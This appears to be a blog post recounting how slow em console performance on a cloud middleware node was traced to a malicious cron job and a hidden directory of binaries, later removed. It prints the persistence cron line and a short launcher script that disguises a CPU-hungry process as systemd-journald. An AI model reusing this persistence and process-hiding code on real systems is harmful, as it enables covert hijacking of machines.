WHEN A HACKER SLOWED DOWN EM CONSOLE

Our MW applications are hosted in cloud. We received a incident saying development em console is extremely slow and developers are not able to open instances from em console.

As with any performance issue, we ran top command on VMs. We didn’t see any high cpu utilization on node 1 but node 2 utilization is almost 100% as shown below:


ps command showed that this process was running journalctl:



We requested our sysadmin team to investigate further. There were some Linux bugs that cause high cpu utilization. So, initial investigation went in that direction. Later one of colleagues, found that cron job scheduled on this particular node was consuming all the cpu. He disabled the cronjob and cpu utilization came down. The cron job was as below:

[oracle@abc123 ~]$ crontab -l

#* * * * * /home/oracle/.local/cpu/bin/update >/dev/null 2>&1

It looked suspicious to me as I don’t remember of setting up such cron job even though these are the new applications we are managing. So, we thought of investigating further.

We went into directory and checked timestamp of the files:

[oracle@abc123 bin]$ pwd
/home/oracle/.local/cpu/bin
[oracle@abc123 bin]$ ls -lthr
total 3.2M
-rwxr-xr-x. 1 oracle oinstall 14K Nov 28 2017 [ttm_swap]
-rwxr-xr-x. 1 oracle oinstall 26 Dec 14 2019 start
-rwxr-xr-x. 1 oracle oinstall 331 Dec 14 2019 log
-rwxr-xr-x. 1 oracle oinstall 376 Jun 23 18:55 perf
-rwxr-xr-x. 1 oracle oinstall 3.2M Aug 23 02:56 update++
-rw-r–r–. 1 oracle oinstall 1008 Sep 8 20:00 g.js
-rw-r–r–. 1 oracle oinstall 28 Sep 8 20:00 bst
-rw-r–r–. 1 oracle oinstall 61 Sep 8 20:00 syslog
-rwxr-xr-x. 1 oracle oinstall 227 Sep 8 20:00 update
-rw-r–r–. 1 oracle oinstall 6 Sep 10 11:07 lg.pid
-rw-r–r–. 1 oracle oinstall 6 Sep 10 11:07 ?

Timestamp of the new files and the start time of our issue matched. Snippet from one of the scripts is:

[oracle@abc123 bin]$ cat perf
proc=nproc
ARCH=uname -m
HIDE=”/lib/systemd/systemd-journald”
if [ “$ARCH” == “x86_64” ]; then
./[ttm_swap] -s $HIDE ./update++ >>/dev/null &
elif [ “$ARCH” == “i686” ]; then
./[ttm_swap] -s $HIDE ./update++ >>/dev/null &
else
./[ttm_swap] -s $HIDE ./update++ >>/dev/null &
fi
echo $! > lg.pid

I didn’t understand the code completely. I have searched google with snippet of the code and convinced that machine got infected. We ran some security software and it detected that this directory got compromised. We have removed directory. This incident have been reported to security team and they took necessary action to close security holes.


Comments

Popular posts from this blog

HOW WE REDUCED SOA OSB PROVISIONING FROM 4 DAYS TO 4 HOURS

NOT ABLE TO START RABBITMQ CLUSTER: CANNOT DECLARE A QUEUE ‘~S’ ON NODE ‘~S’: ~255P

SOA SUITE 12.2.1.4 INSTALLATION: GOT EXCEPTION WHEN AUTO CONFIGURING THE SCHEMA COMPONENT(S) WITH DATA OBTAINED FROM SHADOW TABLE